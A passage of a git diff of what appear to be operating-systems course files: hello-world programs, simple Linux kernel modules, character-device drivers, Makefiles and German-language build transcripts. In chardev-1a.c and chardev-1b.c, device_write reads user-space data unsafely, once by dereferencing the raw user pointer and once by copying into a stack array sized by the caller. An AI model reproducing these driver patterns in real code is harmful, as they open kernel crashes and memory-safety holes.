+		 * put_user which copies data from the kernel data segment to
+		 * the user data segment. 
+		 */
+		put_user(*(msg_Ptr++), buffer++);
+
+		length--;
+		bytes_read++;
+	}
+
+	/* 
+	 * Most read functions return the number of bytes put into the buffer
+	 */
+	return bytes_read;
+}
+
+/*  
+ * Called when a process writes to dev file: echo "hi" > /dev/hello 
+ */
+static ssize_t
+device_write(struct file *filp, const char *buff, size_t len, loff_t * off)
+{
+	printk(KERN_ALERT "Sorry, this operation isn't supported.\n");
+	return -EINVAL;
+}
diff --git a/20210430/freedos.hd b/20210430/freedos.hd
new file mode 100644
index 0000000000000000000000000000000000000000..bf24ea7697c79c81cbb1ff01ddb015a63faff730
Binary files /dev/null and b/20210430/freedos.hd differ
diff --git a/20210430/hello-1.c b/20210430/hello-1.c
new file mode 100644
index 0000000000000000000000000000000000000000..95edc4536cc17900a3dbb69c4ca9e3c66ec8da93
--- /dev/null
+++ b/20210430/hello-1.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+int main (void)
+{
+  printf ("");
+  printf ("H");
+  printf ("e");
+  printf ("l");
+  printf ("l");
+  printf ("o");
+  return 0;
+}
diff --git a/20210430/hello-2.c b/20210430/hello-2.c
new file mode 100644
index 0000000000000000000000000000000000000000..420d2eb570e62d4e7dbe2f7aaf351d5d55a9ff7a
--- /dev/null
+++ b/20210430/hello-2.c
@@ -0,0 +1,9 @@
+#include <stdio.h>
+
+int main (void)
+{
+  printf ("\x1b[H\x1b[J");
+  printf ("\x1b[00m\x1b[01;35m");
+  printf ("Hello, world!\n");
+  return 0;
+}
diff --git a/20210430/hello-3.c b/20210430/hello-3.c
new file mode 100644
index 0000000000000000000000000000000000000000..b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac
--- /dev/null
+++ b/20210430/hello-3.c
@@ -0,0 +1,7 @@
+#include <stdio.h>
+
+int main (void)
+{
+  printf ("Hello, world!\n");
+  return 0;
+}
diff --git a/20210430/hellomod-1.c b/20210430/hellomod-1.c
new file mode 100644
index 0000000000000000000000000000000000000000..a9fef793369a4e24da98b91e1bb7c651190ceea2
--- /dev/null
+++ b/20210430/hellomod-1.c
@@ -0,0 +1,20 @@
+/*  
+ *  hello-1.c - The simplest kernel module.
+ */
+#include <linux/module.h>	/* Needed by all modules */
+#include <linux/kernel.h>	/* Needed for KERN_INFO */
+
+int init_module(void)
+{
+	printk(KERN_INFO "Hello world 1.\n");
+
+	/* 
+	 * A non 0 return means init_module failed; module can't be loaded. 
+	 */
+	return 0;
+}
+
+void cleanup_module(void)
+{
+	printk(KERN_INFO "Goodbye world 1.\n");
+}
diff --git a/20210430/hellomod-2.c b/20210430/hellomod-2.c
new file mode 100644
index 0000000000000000000000000000000000000000..a2bb30b1329f9a2997a2d6164631618635f41f4c
--- /dev/null
+++ b/20210430/hellomod-2.c
@@ -0,0 +1,22 @@
+/*  
+ *  hello-2.c - The simplest kernel module.
+ */
+#include <linux/module.h>	/* Needed by all modules */
+#include <linux/kernel.h>	/* Needed for KERN_INFO */
+
+MODULE_LICENSE("GPL");
+
+int init_module(void)
+{
+	printk(KERN_INFO "Hello world 2.\n");
+
+	/* 
+	 * A non 0 return means init_module failed; module can't be loaded. 
+	 */
+	return 0;
+}
+
+void cleanup_module(void)
+{
+	printk(KERN_INFO "Goodbye world 2.\n");
+}
diff --git a/20210430/make-1.txt b/20210430/make-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..56706abfce4ed9ae3aa8afaabd620525e2fb9f20
--- /dev/null
+++ b/20210430/make-1.txt
@@ -0,0 +1,40 @@
+cassini/home/peter/bo/2021ss/bs/20210430> cat Makefile
+hello-3: hello-3.c
+        gcc -Wall -O hello-3.c -o hello-3
+cassini/home/peter/bo/2021ss/bs/20210430> cat hello-3.c
+#include <stdio.h>
+
+int main (void)
+{
+  printf ("Hello, world!\n");
+  return 0;
+}
+cassini/home/peter/bo/2021ss/bs/20210430> make
+gcc -Wall -O hello-3.c -o hello-3
+cassini/home/peter/bo/2021ss/bs/20210430> ./hello-3
+Hello, world!
+cassini/home/peter/bo/2021ss/bs/20210430> make
+make: „hello-3“ ist bereits aktuell.
+cassini/home/peter/bo/2021ss/bs/20210430> touch hello-3.c
+cassini/home/peter/bo/2021ss/bs/20210430> ls -lrt
+insgesamt 1120
+-rw-r--r-- 1 peter peter 1048576 Okt 22  2013 freedos.hd
+-rw-r--r-- 1 peter peter    4069 Apr  4  2014 chardev-1.c
+-rw-r--r-- 1 peter peter     390 Apr  4  2014 hellomod-1.c
+-rw-r--r-- 1 peter peter    4659 Mai  5  2017 chardev-2.c
+-rw-r--r-- 1 peter peter     414 Apr 26  2019 hellomod-2.c
+-rw-r--r-- 1 peter peter    4997 Apr 26  2019 chardev-3.c
+-rw-r--r-- 1 peter peter     230 Apr 30 12:06 SCRATCH
+-rw-r--r-- 1 peter peter     210 Apr 30 12:25 nix-hello.c
+-rw-r--r-- 1 peter peter     185 Apr 30 12:33 hello-1.c
+-rw-r--r-- 1 peter peter     143 Apr 30 12:36 hello-2.c
+-rwxr-xr-x 1 peter peter   16608 Apr 30 12:40 a.out
+-rw-r--r-- 1 peter peter     208 Apr 30 12:52 Makefile-1
+-rw-r--r-- 1 peter peter      54 Apr 30 12:55 Makefile
+-rwxr-xr-x 1 peter peter   16608 Apr 30 12:55 hello-3
+-rw-r--r-- 1 peter peter      82 Apr 30 12:56 hello-3.c
+cassini/home/peter/bo/2021ss/bs/20210430> make
+gcc -Wall -O hello-3.c -o hello-3
+cassini/home/peter/bo/2021ss/bs/20210430> ./hello-3
+Hello, world!
+cassini/home/peter/bo/2021ss/bs/20210430>
diff --git a/20210430/make-2.txt b/20210430/make-2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..3f913d150da63f15b364b73e49a36d870c0690ad
--- /dev/null
+++ b/20210430/make-2.txt
@@ -0,0 +1,11 @@
+TARGET = hello-3
+CFLAGS = -Wall -O
+
+$(TARGET): hello-3.c
+        gcc $(CFLAGS) hello-3.c -o hello-3
+cassini/home/peter/bo/2021ss/bs/20210430> make
+make: „hello-3“ ist bereits aktuell.
+cassini/home/peter/bo/2021ss/bs/20210430> touch hello-3.c
+cassini/home/peter/bo/2021ss/bs/20210430> make
+gcc -Wall -O hello-3.c -o hello-3
+cassini/home/peter/bo/2021ss/bs/20210430>
diff --git a/20210430/make-3.txt b/20210430/make-3.txt
new file mode 100644
index 0000000000000000000000000000000000000000..739e3e02731ba7f5e910aadda75962f3a802a030
--- /dev/null
+++ b/20210430/make-3.txt
@@ -0,0 +1,9 @@
+TARGET = hello-3
+CFLAGS = -Wall -O
+
+$(TARGET): $(TARGET).c
+        gcc $(CFLAGS) $< -o $(TARGET)
+cassini/home/peter/bo/2021ss/bs/20210430> touch hello-3.c
+cassini/home/peter/bo/2021ss/bs/20210430> make
+gcc -Wall -O hello-3.c -o hello-3
+cassini/home/peter/bo/2021ss/bs/20210430>
diff --git a/20210430/make-4.txt b/20210430/make-4.txt
new file mode 100644
index 0000000000000000000000000000000000000000..3a4f21f40dc59736a8f9091996439a55635e6622
--- /dev/null
+++ b/20210430/make-4.txt
@@ -0,0 +1,26 @@
+cassini/home/peter/bo/2020ws/hp/20201217> cat philosophy.c
+#include <stdio.h>
+#include "answer.h"
+
+int main (void)
+{
+  printf ("The answer is %d.\n", answer ());
+  return 0;
+}
+cassini/home/peter/bo/2020ws/hp/20201217> cat answer.h
+extern int answer (void);
+cassini/home/peter/bo/2020ws/hp/20201217> gcc -Wall -O philosophy.c -o philosophy
+/usr/bin/ld: /tmp/ccPlT8mv.o: in function `main':
+philosophy.c:(.text+0x5): undefined reference to `answer'
+collect2: error: ld returned 1 exit status
+cassini/home/peter/bo/2020ws/hp/20201217> cat answer.c
+#include "answer.h"
+
+int answer (void)
+{
+  return 23;
+}
+cassini/home/peter/bo/2020ws/hp/20201217> gcc -Wall -O philosophy.c answer.c -o philosophy
+cassini/home/peter/bo/2020ws/hp/20201217> ./philosophy
+The answer is 23.
+cassini/home/peter/bo/2020ws/hp/20201217>
diff --git a/20210430/make-5.txt b/20210430/make-5.txt
new file mode 100644
index 0000000000000000000000000000000000000000..2bcefad9bdd3d855d3bfda6b91ab5b9b5f5c5d94
--- /dev/null
+++ b/20210430/make-5.txt
@@ -0,0 +1,14 @@
+cassini/home/peter/bo/2020ws/hp/20201217> gcc -Wall -O philosophy.c -c
+cassini/home/peter/bo/2020ws/hp/20201217> ls -l philosophy*
+-rwxr-xr-x 1 peter peter 16680 Apr 30 14:18 philosophy
+-rw-r--r-- 1 peter peter   117 Jan  4 14:29 philosophy.c
+-rw-r--r-- 1 peter peter  1632 Apr 30 14:19 philosophy.o
+cassini/home/peter/bo/2020ws/hp/20201217> gcc -Wall -O answer.c -c
+cassini/home/peter/bo/2020ws/hp/20201217> ls -l answer.*
+-rw-r--r-- 1 peter peter   56 Jan  4 14:29 answer.c
+-rw-r--r-- 1 peter peter   26 Jan  4 14:29 answer.h
+-rw-r--r-- 1 peter peter 1208 Apr 30 14:20 answer.o
+cassini/home/peter/bo/2020ws/hp/20201217> gcc philosophy.o answer.o -o philosophy
+cassini/home/peter/bo/2020ws/hp/20201217> ./philosophy
+The answer is 23.
+cassini/home/peter/bo/2020ws/hp/20201217>
diff --git a/20210430/modules-1.txt b/20210430/modules-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..073503859f3c6cf906cfa5d6f33125032b996a08
--- /dev/null
+++ b/20210430/modules-1.txt
@@ -0,0 +1,40 @@
+cassini/home/peter/bo/2021ss/bs/20210430> cat hellomod-1.c
+/*
+ *  hello-1.c - The simplest kernel module.
+ */
+#include <linux/module.h>       /* Needed by all modules */
+#include <linux/kernel.h>       /* Needed for KERN_INFO */
+
+int init_module(void)
+{
+        printk(KERN_INFO "Hello world 1.\n");
+
+        /*
+         * A non 0 return means init_module failed; module can't be loaded.
+         */
+        return 0;
+}
+
+void cleanup_module(void)
+{
+        printk(KERN_INFO "Goodbye world 1.\n");
+}
+cassini/home/peter/bo/2021ss/bs/20210430> cat Makefile
+obj-m = hellomod-1.o
+
+all:
+        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
+
+clean:
+        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
+cassini/home/peter/bo/2021ss/bs/20210430> ls -lrt hellomod-1.*
+-rw-r--r-- 1 peter peter    390 Apr  4  2014 hellomod-1.c
+-rw-r--r-- 1 peter peter 132152 Apr 30 14:37 hellomod-1.o
+-rw-r--r-- 1 peter peter    790 Apr 30 14:37 hellomod-1.mod.c
+-rw-r--r-- 1 peter peter 139912 Apr 30 14:37 hellomod-1.mod.o
+-rw-r--r-- 1 peter peter 270648 Apr 30 14:37 hellomod-1.ko
+cassini/home/peter/bo/2021ss/bs/20210430> insmod hellomod-1.ko
+bash: insmod: Kommando nicht gefunden.
+cassini/home/peter/bo/2021ss/bs/20210430> sudo insmod hellomod-1.ko
+[sudo] Passwort für peter:
+cassini/home/peter/bo/2021ss/bs/20210430>
diff --git a/20210430/modules-2.txt b/20210430/modules-2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..84e1d27e124fbbdb089681a36a200e96578c5f2a
--- /dev/null
+++ b/20210430/modules-2.txt
@@ -0,0 +1,11 @@
+cassini/home/peter/bo/2021ss/bs/20210430> lsmod | head
+Module                  Size  Used by
+hellomod_1             16384  0
+v4l2loopback           45056  0
+v4l2_common            16384  1 v4l2loopback
+snd_seq_dummy          16384  0
+snd_hrtimer            16384  0
+snd_seq_midi           16384  0
+snd_seq_midi_event     16384  1 snd_seq_midi
+snd_seq                81920  3 snd_seq_midi,snd_seq_midi_event,snd_seq_dummy
+nfnetlink_queue        24576  0
diff --git a/20210430/modules-3.txt b/20210430/modules-3.txt
new file mode 100644
index 0000000000000000000000000000000000000000..ca94c8700124215570564875338badbd15e23d21
--- /dev/null
+++ b/20210430/modules-3.txt
@@ -0,0 +1,14 @@
+cassini/home/peter/bo/2021ss/bs/20210430> lsmod | head
+Module                  Size  Used by
+hellomod_1             16384  0
+v4l2loopback           45056  0
+v4l2_common            16384  1 v4l2loopback
+snd_seq_dummy          16384  0
+snd_hrtimer            16384  0
+snd_seq_midi           16384  0
+snd_seq_midi_event     16384  1 snd_seq_midi
+snd_seq                81920  3 snd_seq_midi,snd_seq_midi_event,snd_seq_dummy
+nfnetlink_queue        24576  0
+cassini/home/peter/bo/2021ss/bs/20210430> sudo rmmod hellomod_1
+cassini/home/peter/bo/2021ss/bs/20210430> lsmod | grep hello
+cassini/home/peter/bo/2021ss/bs/20210430>
diff --git a/20210430/modules-4.txt b/20210430/modules-4.txt
new file mode 100644
index 0000000000000000000000000000000000000000..a9ff3a18c3e1ec936730f656d5bce2e0cb91454c
--- /dev/null
+++ b/20210430/modules-4.txt
@@ -0,0 +1,53 @@
+cassini/root# tail -f /var/log/kern.log
+Apr 30 13:16:56 cassini kernel: [1241542.399747] sd 6:0:0:0: [sdb] Mode Sense: 47 00 10 08
+Apr 30 13:16:56 cassini kernel: [1241542.400038] sd 6:0:0:0: [sdb] No Caching mode page found
+Apr 30 13:16:56 cassini kernel: [1241542.400073] sd 6:0:0:0: [sdb] Assuming drive cache: write through
+Apr 30 13:16:56 cassini kernel: [1241542.459524]  sdb: sdb1
+Apr 30 13:16:56 cassini kernel: [1241542.460550] sd 6:0:0:0: [sdb] Attached SCSI disk
+Apr 30 13:17:43 cassini kernel: [1241588.936525] EXT4-fs (dm-3): mounted filesystem with ordered data mode. Opts: (null)
+Apr 30 14:43:13 cassini kernel: [1246719.130516] hellomod_1: module license 'unspecified' taints kernel.
+Apr 30 14:43:13 cassini kernel: [1246719.130518] Disabling lock debugging due to kernel taint
+Apr 30 14:43:13 cassini kernel: [1246719.132467] Hello world 1.
+Apr 30 14:44:40 cassini kernel: [1246806.404588] Goodbye world 1.
+obj-m = hellomod-1.o
+obj-m += hellomod-2.o
+
+all:
+        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
+
+clean:
+        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
+cassini/home/peter/bo/2021ss/bs/20210430> make
+make -C /lib/modules/4.19.0-12-amd64/build M=/home/peter/bo/2021ss/bs/20210430 modules
+make[1]: Verzeichnis „/usr/src/linux-headers-4.19.0-12-amd64“ wird betreten
+  CC [M]  /home/peter/bo/2021ss/bs/20210430/hellomod-2.o
+  Building modules, stage 2.
+  MODPOST 2 modules
+WARNING: modpost: missing MODULE_LICENSE() in /home/peter/bo/2021ss/bs/20210430/hellomod-1.o
+see include/linux/module.h for more information
+  CC      /home/peter/bo/2021ss/bs/20210430/hellomod-2.mod.o
+  LD [M]  /home/peter/bo/2021ss/bs/20210430/hellomod-2.ko
+make[1]: Verzeichnis „/usr/src/linux-headers-4.19.0-12-amd64“ wird verlassen
+cassini/home/peter/bo/2021ss/bs/20210430> ls -l hellomod-2.*
+-rw-r--r-- 1 peter peter    414 Apr 26  2019 hellomod-2.c
+-rw-r--r-- 1 peter peter 277800 Apr 30 14:50 hellomod-2.ko
+-rw-r--r-- 1 peter peter    790 Apr 30 14:50 hellomod-2.mod.c
+-rw-r--r-- 1 peter peter 139912 Apr 30 14:50 hellomod-2.mod.o
+-rw-r--r-- 1 peter peter 139416 Apr 30 14:50 hellomod-2.o
+cassini/home/peter/bo/2021ss/bs/20210430> sudo insmod hellomod-2.ko
+cassini/home/peter/bo/2021ss/bs/20210430> sudo rmmod hellomod-2.ko
+cassini/home/peter/bo/2021ss/bs/20210430>
+
+cassini/root# tail -f /var/log/kern.log
+Apr 30 13:16:56 cassini kernel: [1241542.399747] sd 6:0:0:0: [sdb] Mode Sense: 47 00 10 08
+Apr 30 13:16:56 cassini kernel: [1241542.400038] sd 6:0:0:0: [sdb] No Caching mode page found
+Apr 30 13:16:56 cassini kernel: [1241542.400073] sd 6:0:0:0: [sdb] Assuming drive cache: write through
+Apr 30 13:16:56 cassini kernel: [1241542.459524]  sdb: sdb1
+Apr 30 13:16:56 cassini kernel: [1241542.460550] sd 6:0:0:0: [sdb] Attached SCSI disk
+Apr 30 13:17:43 cassini kernel: [1241588.936525] EXT4-fs (dm-3): mounted filesystem with ordered data mode. Opts: (null)
+Apr 30 14:43:13 cassini kernel: [1246719.130516] hellomod_1: module license 'unspecified' taints kernel.
+Apr 30 14:43:13 cassini kernel: [1246719.130518] Disabling lock debugging due to kernel taint
+Apr 30 14:43:13 cassini kernel: [1246719.132467] Hello world 1.
+Apr 30 14:44:40 cassini kernel: [1246806.404588] Goodbye world 1.
+Apr 30 14:51:18 cassini kernel: [1247204.245245] Hello world 2.
+Apr 30 14:51:51 cassini kernel: [1247237.822197] Goodbye world 2.
diff --git a/20210430/nix-hello.c b/20210430/nix-hello.c
new file mode 100644
index 0000000000000000000000000000000000000000..cc2018703757a875b70c2aa3fd1a104d7e870301
--- /dev/null
+++ b/20210430/nix-hello.c
@@ -0,0 +1,15 @@
+int main (void)
+{
+  char *p = (char *) 0xb8000000;
+  *p++ = 'H';
+  *p++ = 0x04;
+  *p++ = 'e';
+  *p++ = 0x02;
+  *p++ = 'l';
+  *p++ = 0x01;
+  *p++ = 'l';
+  *p++ = 0x06;
+  *p++ = 'o';
+  *p++ = 0x03;
+  return 0;
+}
diff --git a/20210507/Makefile b/20210507/Makefile
new file mode 120000
index 0000000000000000000000000000000000000000..134aa0a7e9fd70818ec2dbee3f7201a161389434
--- /dev/null
+++ b/20210507/Makefile
@@ -0,0 +1 @@
+Makefile-modules-2
\ No newline at end of file
diff --git a/20210507/Makefile-modules-2 b/20210507/Makefile-modules-2
new file mode 100644
index 0000000000000000000000000000000000000000..f9f342647e7b471ae2f4bd105c57fb54f9591136
--- /dev/null
+++ b/20210507/Makefile-modules-2
@@ -0,0 +1,9 @@
+obj-m += chardev-1a.o
+obj-m += chardev-1b.o
+obj-m += chardev-3.o
+
+all:
+	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
+
+clean:
+	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
diff --git a/20210507/attributes-1.txt b/20210507/attributes-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..e6fe61064d159cd088fa3039af59a7ffcf86eb78
--- /dev/null
+++ b/20210507/attributes-1.txt
@@ -0,0 +1,43 @@
+crw-------  1 root  root     10, 137 Apr  6 09:59 vhci
+crw-------  1 root  root     10, 238 Apr  6 09:59 vhost-net
+crw-------  1 root  root     10, 241 Apr  6 09:59 vhost-vsock
+crw-rw----+ 1 root  video    81,   0 Mai  7 10:44 video0
+crw-rw----+ 1 root  video    81,   1 Mai  7 10:44 video1
+crw-rw----+ 1 root  video    81,   2 Apr 28 23:30 video4
+crw-------  1 root  root     10, 130 Apr  6 09:59 watchdog
+crw-------  1 root  root    248,   0 Apr  6 09:59 watchdog0
+crw-rw-rw-  1 root  root      1,   5 Apr  6 09:59 zero
+cassini/home/peter/bo/2021ss/bs/20210507> ls -l /dev/chardev
+crw------- 1 root root 241, 0 Mai  7 14:17 /dev/chardev
+cassini/home/peter/bo/2021ss/bs/20210507> cat /dev/chardev
+cat: /dev/chardev: Keine Berechtigung
+cassini/home/peter/bo/2021ss/bs/20210507> sudo chmod 666 /dev/chardev
+cassini/home/peter/bo/2021ss/bs/20210507> ls -l /dev/chardev
+crw-rw-rw- 1 root root 241, 0 Mai  7 14:17 /dev/chardev
+cassini/home/peter/bo/2021ss/bs/20210507> cat /dev/chardev
+I already told you 1 times Hello world!
+cassini/home/peter/bo/2021ss/bs/20210507> cat /dev/chardev
+I already told you 2 times Hello world!
+cassini/home/peter/bo/2021ss/bs/20210507> lsattr /dev/video0
+lsattr: Die Operation wird nicht unterstützt Beim Lesen der Flags von /dev/video0
+cassini/home/peter/bo/2021ss/bs/20210507> getfacl /dev/video0
+getfacl: Entferne führende '/' von absoluten Pfadnamen
+# file: dev/video0
+# owner: root
+# group: video
+user::rw-
+user:peter:rw-
+group::rw-
+mask::rw-
+other::---
+
+cassini/home/peter/bo/2021ss/bs/20210507> getfacl /dev/chardev
+getfacl: Entferne führende '/' von absoluten Pfadnamen
+# file: dev/chardev
+# owner: root
+# group: root
+user::rw-
+group::rw-
+other::rw-
+
+cassini/home/peter/bo/2021ss/bs/20210507>
diff --git a/20210507/bs-20210507.txt b/20210507/bs-20210507.txt
new file mode 100644
index 0000000000000000000000000000000000000000..cccf426e692b08140a342ad089d1ab9a69a1cab2
--- /dev/null
+++ b/20210507/bs-20210507.txt
@@ -0,0 +1,11 @@
+Von der Anwendung bis zum Kernel: libc, 07.05.2021, 15:11:00
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+apt-get source libc6
+Datei: stdio-common/printf.c
+printf() ruft vfprintf() auf.
+Datei: stdio-common/vfprintf.c
+vfprintf() ruft printf_positional() auf.
+printf_positional() ruft outstring() auf.
+outstring() ist ein Präprozessor-Macro.
+outstring() ruft PUT() auf - ebenfalls ein Präprozessor-Macro.
+PUT() ruft _IO_sputn() auf. --> in anderer Datei
diff --git a/20210507/chardev-1a.c b/20210507/chardev-1a.c
new file mode 100644
index 0000000000000000000000000000000000000000..291b052b8d200189cb53d09b9234c509f84771ba
--- /dev/null
+++ b/20210507/chardev-1a.c
@@ -0,0 +1,166 @@
+/*
+ *  chardev.c: Creates a read-only char device that says how many times
+ *  you've read from the dev file
+ */
+
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/fs.h>
+#include <asm/uaccess.h>	/* for put_user */
+
+/*  
+ *  Prototypes - this would normally go in a .h file
+ */
+int init_module(void);
+void cleanup_module(void);
+static int device_open(struct inode *, struct file *);
+static int device_release(struct inode *, struct file *);
+static ssize_t device_read(struct file *, char *, size_t, loff_t *);
+static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
+
+#define SUCCESS 0
+#define DEVICE_NAME "chardev"	/* Dev name as it appears in /proc/devices   */
+#define BUF_LEN 80		/* Max length of the message from the device */
+
+/* 
+ * Global variables are declared as static, so are global within the file. 
+ */
+
+static int Major;		/* Major number assigned to our device driver */
+static int Device_Open = 0;	/* Is device open?  
+				 * Used to prevent multiple access to device */
+static char msg[BUF_LEN];	/* The msg the device will give when asked */
+static char *msg_Ptr;
+
+static struct file_operations fops = {
+	.read = device_read,
+	.write = device_write,
+	.open = device_open,
+	.release = device_release
+};
+
+/*
+ * This function is called when the module is loaded
+ */
+int init_module(void)
+{
+        Major = register_chrdev(0, DEVICE_NAME, &fops);
+
+	if (Major < 0) {
+	  printk(KERN_ALERT "Registering char device failed with %d\n", Major);
+	  return Major;
+	}
+
+	printk(KERN_INFO "I was assigned major number %d. To talk to\n", Major);
+	printk(KERN_INFO "the driver, create a dev file with\n");
+	printk(KERN_INFO "'mknod /dev/%s c %d 0'.\n", DEVICE_NAME, Major);
+	printk(KERN_INFO "Try various minor numbers. Try to cat and echo to\n");
+	printk(KERN_INFO "the device file.\n");
+	printk(KERN_INFO "Remove the device file and module when done.\n");
+
+	return SUCCESS;
+}
+
+/*
+ * This function is called when the module is unloaded
+ */
+void cleanup_module(void)
+{
+	/* 
+	 * Unregister the device 
+	 */
+	unregister_chrdev(Major, DEVICE_NAME);
+}
+
+/*
+ * Methods
+ */
+
+/* 
+ * Called when a process tries to open the device file, like
+ * "cat /dev/mycharfile"
+ */
+static int device_open(struct inode *inode, struct file *file)
+{
+	static int counter = 0;
+
+	if (Device_Open)
+		return -EBUSY;
+
+	Device_Open++;
+	sprintf(msg, "I already told you %d times Hello world!\n", counter++);
+	msg_Ptr = msg;
+	try_module_get(THIS_MODULE);
+
+	return SUCCESS;
+}
+
+/* 
+ * Called when a process closes the device file.
+ */
+static int device_release(struct inode *inode, struct file *file)
+{
+	Device_Open--;		/* We're now ready for our next caller */
+
+	/* 
+	 * Decrement the usage count, or else once you opened the file, you'll
+	 * never get get rid of the module. 
+	 */
+	module_put(THIS_MODULE);
+
+	return 0;
+}
+
+/* 
+ * Called when a process, which already opened the dev file, attempts to
+ * read from it.
+ */
+static ssize_t device_read(struct file *filp,	/* see include/linux/fs.h   */
+			   char *buffer,	/* buffer to fill with data */
+			   size_t length,	/* length of the buffer     */
+			   loff_t * offset)
+{
+	/*
+	 * Number of bytes actually written to the buffer 
+	 */
+	int bytes_read = 0;
+
+	/*
+	 * If we're at the end of the message, 
+	 * return 0 signifying end of file 
+	 */
+	if (*msg_Ptr == 0)
+		return 0;
+
+	/* 
+	 * Actually put the data into the buffer 
+	 */
+	while (length && *msg_Ptr) {
+
+		/* 
+		 * The buffer is in the user data segment, not the kernel 
+		 * segment so "*" assignment won't work.  We have to use 
+		 * put_user which copies data from the kernel data segment to
+		 * the user data segment. 
+		 */
+		put_user(*(msg_Ptr++), buffer++);
+
+		length--;
+		bytes_read++;
+	}
+
+	/* 
+	 * Most read functions return the number of bytes put into the buffer
+	 */
+	return bytes_read;
+}
+
+/*  
+ * Called when a process writes to dev file: echo "hi" > /dev/hello 
+ */
+static ssize_t
+device_write(struct file *filp, const char *buff, size_t len, loff_t * off)
+{
+	printk(KERN_INFO "Got user data: %s.\n", buff);
+	return len;
+}
diff --git a/20210507/chardev-1b.c b/20210507/chardev-1b.c
new file mode 100644
index 0000000000000000000000000000000000000000..574497cbdc5c931dd2f84279c200eb1c00b0ad04
--- /dev/null
+++ b/20210507/chardev-1b.c
@@ -0,0 +1,169 @@
+/*
+ *  chardev.c: Creates a read-only char device that says how many times
+ *  you've read from the dev file
+ */
+
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/fs.h>
+#include <asm/uaccess.h>	/* for put_user */
+
+/*  
+ *  Prototypes - this would normally go in a .h file
+ */
+int init_module(void);
+void cleanup_module(void);
+static int device_open(struct inode *, struct file *);
+static int device_release(struct inode *, struct file *);
+static ssize_t device_read(struct file *, char *, size_t, loff_t *);
+static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
+
+#define SUCCESS 0
+#define DEVICE_NAME "chardev"	/* Dev name as it appears in /proc/devices   */
+#define BUF_LEN 80		/* Max length of the message from the device */
+
+/* 
+ * Global variables are declared as static, so are global within the file. 
+ */
+
+static int Major;		/* Major number assigned to our device driver */
+static int Device_Open = 0;	/* Is device open?  
+				 * Used to prevent multiple access to device */
+static char msg[BUF_LEN];	/* The msg the device will give when asked */
+static char *msg_Ptr;
+
+static struct file_operations fops = {
+	.read = device_read,
+	.write = device_write,
+	.open = device_open,
+	.release = device_release
+};
+
+/*
+ * This function is called when the module is loaded
+ */
+int init_module(void)
+{
+        Major = register_chrdev(0, DEVICE_NAME, &fops);
+
+	if (Major < 0) {
+	  printk(KERN_ALERT "Registering char device failed with %d\n", Major);
+	  return Major;
+	}
+
+	printk(KERN_INFO "I was assigned major number %d. To talk to\n", Major);
+	printk(KERN_INFO "the driver, create a dev file with\n");
+	printk(KERN_INFO "'mknod /dev/%s c %d 0'.\n", DEVICE_NAME, Major);
+	printk(KERN_INFO "Try various minor numbers. Try to cat and echo to\n");
+	printk(KERN_INFO "the device file.\n");
+	printk(KERN_INFO "Remove the device file and module when done.\n");
+
+	return SUCCESS;
+}
+
+/*
+ * This function is called when the module is unloaded
+ */
+void cleanup_module(void)
+{
+	/* 
+	 * Unregister the device 
+	 */
+	unregister_chrdev(Major, DEVICE_NAME);
+}
+
+/*
+ * Methods
+ */
+
+/* 
+ * Called when a process tries to open the device file, like
+ * "cat /dev/mycharfile"
+ */
+static int device_open(struct inode *inode, struct file *file)
+{
+	static int counter = 0;
+
+	if (Device_Open)
+		return -EBUSY;
+
+	Device_Open++;
+	sprintf(msg, "I already told you %d times Hello world!\n", counter++);
+	msg_Ptr = msg;
+	try_module_get(THIS_MODULE);
+
+	return SUCCESS;
+}
+
+/* 
+ * Called when a process closes the device file.
+ */
+static int device_release(struct inode *inode, struct file *file)
+{
+	Device_Open--;		/* We're now ready for our next caller */
+
+	/* 
+	 * Decrement the usage count, or else once you opened the file, you'll
+	 * never get get rid of the module. 
+	 */
+	module_put(THIS_MODULE);
+
+	return 0;
+}
+
+/* 
+ * Called when a process, which already opened the dev file, attempts to
+ * read from it.
+ */
+static ssize_t device_read(struct file *filp,	/* see include/linux/fs.h   */
+			   char *buffer,	/* buffer to fill with data */
+			   size_t length,	/* length of the buffer     */
+			   loff_t * offset)
+{
+	/*
+	 * Number of bytes actually written to the buffer 
+	 */
+	int bytes_read = 0;
+
+	/*
+	 * If we're at the end of the message, 
+	 * return 0 signifying end of file 
+	 */
+	if (*msg_Ptr == 0)
+		return 0;
+
+	/* 
+	 * Actually put the data into the buffer 
+	 */
+	while (length && *msg_Ptr) {
+
+		/* 
+		 * The buffer is in the user data segment, not the kernel 
+		 * segment so "*" assignment won't work.  We have to use 
+		 * put_user which copies data from the kernel data segment to
+		 * the user data segment. 
+		 */
+		put_user(*(msg_Ptr++), buffer++);
+
+		length--;
+		bytes_read++;
+	}
+
+	/* 
+	 * Most read functions return the number of bytes put into the buffer
+	 */
+	return bytes_read;
+}
+
+/*  
+ * Called when a process writes to dev file: echo "hi" > /dev/hello 
+ */
+static ssize_t
+device_write(struct file *filp, const char *buff, size_t len, loff_t * off)
+{
+        char b[len + 1];
+        strncpy (b, buff, len);
+        b[len] = 0;
+	printk(KERN_INFO "Got user data: %s.\n", b);
+	return len;
+}
diff --git a/20210507/chardev-2.c b/20210507/chardev-2.c
new file mode 100644
index 0000000000000000000000000000000000000000..54b8e3f30a580c7896ea18a0e4358059a6c03a48
--- /dev/null
+++ b/20210507/chardev-2.c
@@ -0,0 +1,183 @@
+/*
+ *  chardev.c: Creates a read-only char device that says how many times
+ *  you've read from the dev file
+ */
+
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/device.h>
+#include <linux/fs.h>
